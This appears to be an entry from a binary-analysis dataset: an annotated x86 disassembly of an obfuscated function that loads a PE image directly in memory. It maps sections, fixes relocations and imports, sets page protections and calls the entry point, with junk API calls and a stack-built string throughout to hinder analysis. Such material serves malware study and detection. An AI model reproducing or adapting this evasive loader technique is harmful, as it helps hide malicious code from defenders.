Function at 0x401a29
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x6c
mov esi, dword [ebp + 8]
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov ebx, esi
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
call sub.USER32.dll_GetForegroundWindow
cmp word [esi], 0x5a4d
je 0x401a8e
push ebp
mov ebp, 0x1240
pop ebp
call sub.KERNEL32.dll_GetLastError
mov eax, 0
jmp 0x402918
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
call sub.KERNEL32.dll_GetLastError
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x3c], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov edx, dword [ebp - 0x3c]
cmp dword [edx], 0x4550
je 0x401b00
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
push eax
mov eax, 0x1e0f3
pop eax
mov eax, 0
jmp 0x402918
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
push edx
mov edx, 0x341d0
pop edx
call sub.USER32.dll_GetForegroundWindow
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov ecx, dword [ebp - 0x3c]
mov edi, dword [ecx + 0x50]
mov eax, dword [ecx + 0x34]
mov dword [ebp - 0x40], eax
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x2000
mov dword [esp + 8], edi
mov edx, dword [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x50], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
cmp dword [ebp - 0x50], 0
jne 0x401c1e
push eax
mov eax, 0x1e0f3
pop eax
mov ecx, dword [ebp - 0x3c]
mov edi, dword [ecx + 0x50]
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x2000
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x50], eax
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
call sub.KERNEL32.dll_GetCurrentProcessId
cmp dword [ebp - 0x50], 0
jne 0x401c12
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
push ebp
mov ebp, 0x1240
pop ebp
mov eax, 0
jmp 0x402918
call sub.USER32.dll_GetForegroundWindow
push edx
mov edx, 0x341d0
pop edx
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
call sub.KERNEL32.dll_GetProcessHeap
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_HeapAlloc
sub esp, 0xc
mov dword [ebp - 0x48], eax
call sub.KERNEL32.dll_GetLastError
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
mov dword [eax + 4], edx
push ebp
mov ebp, 0x1240
pop ebp
mov dword [eax + 0xc], 0
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
call sub.USER32.dll_GetForegroundWindow
mov ecx, dword [ebp - 0x48]
mov dword [ecx + 8], 0
call sub.KERNEL32.dll_GetLastError
mov eax, dword [ebp - 0x48]
mov dword [eax + 0x10], 0
call sub.KERNEL32.dll_GetCurrentProcessId
mov edx, dword [ebp - 0x3c]
mov edi, dword [edx + 0x50]
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], edi
mov ecx, dword [ebp - 0x50]
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov eax, dword [ebp - 0x3c]
mov edi, dword [eax + 0x54]
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], edi
mov edx, dword [ebp - 0x50]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov edi, eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 0x3c]
add eax, dword [ecx + 0x54]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00401023
call sub.KERNEL32.dll_GetLastError
add edi, dword [ebx + 0x3c]
mov eax, dword [ebp - 0x48]
mov dword [eax], edi
call sub.KERNEL32.dll_GetCurrentThreadId
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x50]
mov dword [eax + 0x34], ecx
call sub.USER32.dll_GetForegroundWindow
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 4]
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x48]
mov ebx, dword [edx]
movzx esi, word [ebx + 0x14]
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov ecx, dword [ebp - 0x48]
mov eax, dword [ecx]
cmp word [eax + 6], 0
je 0x401f4f
movzx esi, si
add ebx, esi
add ebx, 0x18
mov esi, 0
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [ebx + 0x10], 0
jne 0x401e92
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov eax, dword [ebp - 0x3c]
mov edi, dword [eax + 0x38]
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
push edx
mov edx, 0x341d0
pop edx
test edi, edi
jle 0x401f37
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov edx, dword [ebp - 0x44]
add edx, dword [ebx + 0xc]
mov dword [ebp - 0x40], edx
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], edi
mov ecx, dword [ebp - 0x40]
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x40], eax
push eax
mov eax, 0x1e0f3
pop eax
mov dword [ebx + 8], eax
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call section..text
push ebp
mov ebp, 0x1240
pop ebp
jmp 0x401f37
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov edi, dword [ebx + 0x10]
mov edx, dword [ebp - 0x44]
add edx, dword [ebx + 0xc]
mov dword [ebp - 0x40], edx
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], edi
mov ecx, dword [ebp - 0x40]
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov edi, eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov eax, dword [ebx + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x4c]
add eax, dword [ebx + 0x14]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00401023
call sub.KERNEL32.dll_GetLastError
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov dword [ebx + 8], edi
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
add esi, 1
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
movzx eax, word [eax + 6]
cmp esi, eax
jge 0x401f4f
add ebx, 0x28
jmp 0x401dc9
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.KERNEL32.dll_GetCurrentThreadId
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x3c]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x3c], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
push edx
mov edx, 0x341d0
pop edx
cmp dword [ebp - 0x3c], 0
je 0x4020e3
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov edx, dword [ebp - 0x48]
mov edx, dword [edx + 4]
mov dword [ebp - 0x44], edx
mov ecx, dword [ebp - 0x48]
mov ebx, dword [ecx]
push ebp
mov ebp, 0x1240
pop ebp
cmp dword [ebx + 0xa4], 0
je 0x4020cf
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov esi, dword [ebp - 0x44]
add esi, dword [ebx + 0xa0]
push edx
mov edx, 0x341d0
pop edx
push edx
mov edx, 0x341d0
pop edx
mov eax, dword [esi]
test eax, eax
je 0x4020ca
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
push eax
mov eax, 0x1e0f3
pop eax
push ebp
mov ebp, 0x1240
pop ebp
mov eax, dword [esi + 4]
sub eax, 8
cmp eax, 1
jbe 0x40209b
mov edi, 0
movzx ebx, word [esi + edi*2 + 8]
push eax
mov eax, 0x1e0f3
pop eax
mov eax, ebx
sar eax, 0xc
test eax, eax
je 0x40203f
cmp eax, 3
jne 0x40208c
jmp 0x40204c
nop
call sub.KERNEL32.dll_GetCurrentThreadId
call sub.USER32.dll_GetForegroundWindow
jmp 0x40208c
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
and ebx, 0xfff
add ebx, dword [ebp - 0x40]
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov eax, dword [ebp - 0x3c]
add dword [ebx], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
call sub.KERNEL32.dll_GetLastError
add edi, 1
mov eax, dword [esi + 4]
sub eax, 8
shr eax, 1
cmp edi, eax
jb 0x402023
push ebp
mov ebp, 0x1240
pop ebp
call sub.KERNEL32.dll_GetCurrentThreadId
add esi, dword [esi + 4]
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
push eax
mov eax, 0x1e0f3
pop eax
mov eax, dword [esi]
test eax, eax
jne 0x401fff
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.USER32.dll_GetForegroundWindow
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
cmp dword [0x409028], 0
jne 0x4021e6
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov eax, dword [section..bss]
mov dword [esp + 4], sub.KERNEL32.dll_LoadLibraryA
lea edx, [eax + 0x1c]
mov dword [esp], edx
call eax
sub esp, 8
mov ebx, eax
call sub.USER32.dll_GetForegroundWindow
mov byte [ebp - 0x29], 0x49
mov byte [ebp - 0x28], 0x73
mov byte [ebp - 0x27], 0x42
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x64
mov byte [ebp - 0x24], 0x52
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x50
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0
mov dword [esp + 8], sub.KERNEL32.dll_GetProcAddress
lea eax, [ebp - 0x29]
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [0x409004]
sub esp, 0xc
mov dword [0x409028], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
mov dword [esp + 4], sub.KERNEL32.dll_FreeLibrary
mov dword [esp], ebx
call dword [section..bss]
sub esp, 8
call sub.USER32.dll_GetForegroundWindow
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov edx, dword [ebp - 0x48]
mov edx, dword [edx + 4]
mov dword [ebp - 0x44], edx
mov ecx, dword [ebp - 0x48]
mov esi, dword [ecx]
call sub.USER32.dll_GetForegroundWindow
mov ebx, 1
cmp dword [esi + 0x84], 0
je 0x402555
mov eax, dword [ebp - 0x44]
add eax, dword [esi + 0x80]
mov dword [ebp - 0x4c], eax
push ebp
mov ebp, 0x1240
pop ebp
jmp 0x4024ff
push edx
mov edx, 0x341d0
pop edx
push ebp
mov ebp, 0x1240
pop ebp
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov ebx, 0
jmp 0x402550
call sub.KERNEL32.dll_GetCurrentProcessId
mov edx, dword [ebp - 0x48]
mov eax, dword [edx + 0xc]
lea ebx, [eax*4 + 4]
call sub.KERNEL32.dll_GetProcessHeap
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_HeapAlloc
sub esp, 0xc
mov ebx, eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
push edx
mov edx, 0x341d0
pop edx
mov ecx, dword [ebp - 0x48]
mov esi, dword [ecx + 8]
call sub.KERNEL32.dll_GetProcessHeap
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_HeapFree
sub esp, 0xc
push edx
mov edx, 0x341d0
pop edx
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov eax, dword [ebp - 0x48]
mov dword [eax + 8], ebx
push ebp
mov ebp, 0x1240
pop ebp
push ebp
mov ebp, 0x1240
pop ebp
test ebx, ebx
jne 0x402312
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
jmp 0x402550
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov edx, dword [ebp - 0x48]
mov eax, dword [edx + 0xc]
mov edx, dword [edx + 8]
mov ecx, dword [ebp - 0x40]
mov dword [edx + eax*4], ecx
add eax, 1
mov edx, dword [ebp - 0x48]
mov dword [edx + 0xc], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov ecx, dword [ebp - 0x4c]
cmp dword [ecx], 0
je 0x40239c
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
add esi, dword [eax]
push edx
mov edx, 0x341d0
pop edx
call sub.KERNEL32.dll_GetCurrentProcessId
mov edi, dword [ebp - 0x44]
mov edx, dword [ebp - 0x4c]
add edi, dword [edx + 0x10]
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
jmp 0x4023f6
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
mov esi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x4c]
add esi, dword [ecx + 0x10]
push edx
mov edx, 0x341d0
pop edx
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
add edi, dword [eax + 0x10]
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
push eax
mov eax, 0x1e0f3
pop eax
push edx
mov edx, 0x341d0
pop edx
cmp dword [esi], 0
je 0x4024e2
mov ebx, 0
call sub.USER32.dll_GetForegroundWindow
cmp dword [esi + ebx], 0
jns 0x40244c
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
movzx eax, word [esi + ebx]
mov dword [esp + 4], eax
mov edx, dword [ebp - 0x40]
mov dword [esp], edx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [edi + ebx], eax
push ebp
mov ebp, 0x1240
pop ebp
jmp 0x40249a
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
push eax
mov eax, 0x1e0f3
pop eax
mov ecx, dword [ebp - 0x44]
add ecx, dword [esi + ebx]
mov dword [ebp - 0x3c], ecx
call sub.KERNEL32.dll_GetCurrentProcessId
mov eax, dword [ebp - 0x3c]
add eax, 2
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [edi + ebx], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.KERNEL32.dll_GetCurrentProcessId
cmp dword [edi + ebx], 0
jne 0x4024d3
push ebp
mov ebp, 0x1240
pop ebp
push eax
mov eax, 0x1e0f3
pop eax
call sub.USER32.dll_GetForegroundWindow
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov ebx, 0
jmp 0x402550
mov eax, dword [esi + ebx + 4]
add ebx, 4
test eax, eax
jne 0x40240b
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.KERNEL32.dll_GetCurrentProcessId
add dword [ebp - 0x4c], 0x14
mov dword [esp + 4], 0x14
mov edx, dword [ebp - 0x4c]
mov dword [esp], edx
call dword [0x409028]
sub esp, 8
test eax, eax
jne 0x40254b
mov ecx, dword [ebp - 0x4c]
cmp dword [ecx + 0xc], 0
je 0x40254b
mov eax, dword [ebp - 0x44]
add eax, dword [ecx + 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [ebp - 0x40], eax
push ebp
mov ebp, 0x1240
pop ebp
test eax, eax
jne 0x40224a
jmp 0x402223
mov ebx, 1
call sub.KERNEL32.dll_GetCurrentThreadId
push ebp
mov ebp, 0x1240
pop ebp
call sub.KERNEL32.dll_GetCurrentProcessId
test ebx, ebx
jne 0x402575
push ebp
mov ebp, 0x1240
pop ebp
lea esi, [esi]
jmp 0x4028d4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
mov eax, dword [ebp - 0x48]
mov ebx, dword [eax]
movzx esi, word [ebx + 0x14]
call sub.KERNEL32.dll_GetLastError
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
cmp word [eax + 6], 0
je 0x4027ef
movzx esi, si
add ebx, esi
add ebx, 0x18
mov esi, 0
mov edi, edx
mov ecx, dword [ebx + 0x24]
mov dword [ebp - 0x3c], ecx
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
test byte [ebx + 0x27], 2
je 0x40262c
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov dword [esp + 8], 0x4000
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebx + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
push edx
mov edx, 0x341d0
pop edx
call sub.KERNEL32.dll_GetCurrentThreadId
jmp 0x4027da
lea esi, [esi]
call sub.KERNEL32.dll_GetCurrentProcessId
mov eax, 0x409030
cmp byte [eax], 0
jne 0x402684
mov edx, dword [ebp - 0x3c]
sar edx, 0x1f
and edx, 4
mov eax, dword [ebp - 0x3c]
and eax, 0x40000000
cmp eax, 1
sbb eax, eax
not eax
and eax, 8
mov ecx, dword [ebp - 0x3c]
and ecx, 0x20000000
cmp ecx, 1
sbb ecx, ecx
not ecx
and ecx, 0x10
lea eax, [edx + eax + 0x408320]
mov eax, dword [eax + ecx]
mov dword [0x409038], eax
mov edx, 0x409030
mov byte [edx], 1
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
test byte [ebx + 0x27], 4
je 0x4026be
call sub.KERNEL32.dll_GetCurrentThreadId
push eax
mov eax, 0x1e0f3
pop eax
mov eax, dword [0x409038]
or ah, 2
mov dword [0x409038], eax
call sub.KERNEL32.dll_GetLastError
push ebp
mov ebp, 0x1240
pop ebp
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
mov ecx, dword [ebx + 0x10]
mov dword [ebp - 0x3c], ecx
call sub.KERNEL32.dll_GetCurrentProcessId
push edx
mov edx, 0x341d0
pop edx
cmp dword [ebp - 0x3c], 0
jne 0x402766
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov eax, dword [ebx + 0x24]
test al, 0x40
je 0x402728
push eax
mov eax, 0x1e0f3
pop eax
mov eax, dword [edi]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x3c], eax
call sub.USER32.dll_GetForegroundWindow
jmp 0x402761
test al, al
jns 0x402761
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov eax, dword [edi]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x3c], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
push eax
mov eax, 0x1e0f3
pop eax
cmp dword [ebp - 0x3c], 0
je 0x4027cb
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov eax, dword [0x409038]
lea edx, [ebp - 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov ecx, dword [ebp - 0x3c]
mov dword [esp + 4], ecx
mov eax, dword [ebx + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
test eax, eax
jne 0x4027bc
call sub.KERNEL32.dll_GetCurrentProcessId
push edx
mov edx, 0x341d0
pop edx
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
add esi, 1
mov eax, dword [edi]
movzx eax, word [eax + 6]
cmp esi, eax
jge 0x4027ef
add ebx, 0x28
jmp 0x4025c5
push ebp
mov ebp, 0x1240
pop ebp
call sub.KERNEL32.dll_GetCurrentThreadId
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
mov ebx, dword [eax + 0x28]
test ebx, ebx
je 0x4028bb
push ebp
mov ebp, 0x1240
pop ebp
add ebx, dword [ebp - 0x50]
call sub.USER32.dll_GetForegroundWindow
test ebx, ebx
jne 0x402837
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
jmp 0x4028d4
push ebp
mov ebp, 0x1240
pop ebp
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov ecx, dword [ebp - 0x50]
mov dword [esp], ecx
call ebx
sub esp, 0xc
mov ebx, eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
test ebx, ebx
jne 0x402890
push ebp
mov ebp, 0x1240
pop ebp
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
jmp 0x4028d4
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
call sub.KERNEL32.dll_GetLastError
mov eax, dword [ebp - 0x48]
mov dword [eax + 0x10], 1
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov eax, dword [ebp - 0x48]
jmp 0x402918
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
push ebp
mov ebp, 0x1240
pop ebp
mov edx, dword [ebp - 0x48]
mov dword [esp], edx
call fcn.004015f0
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret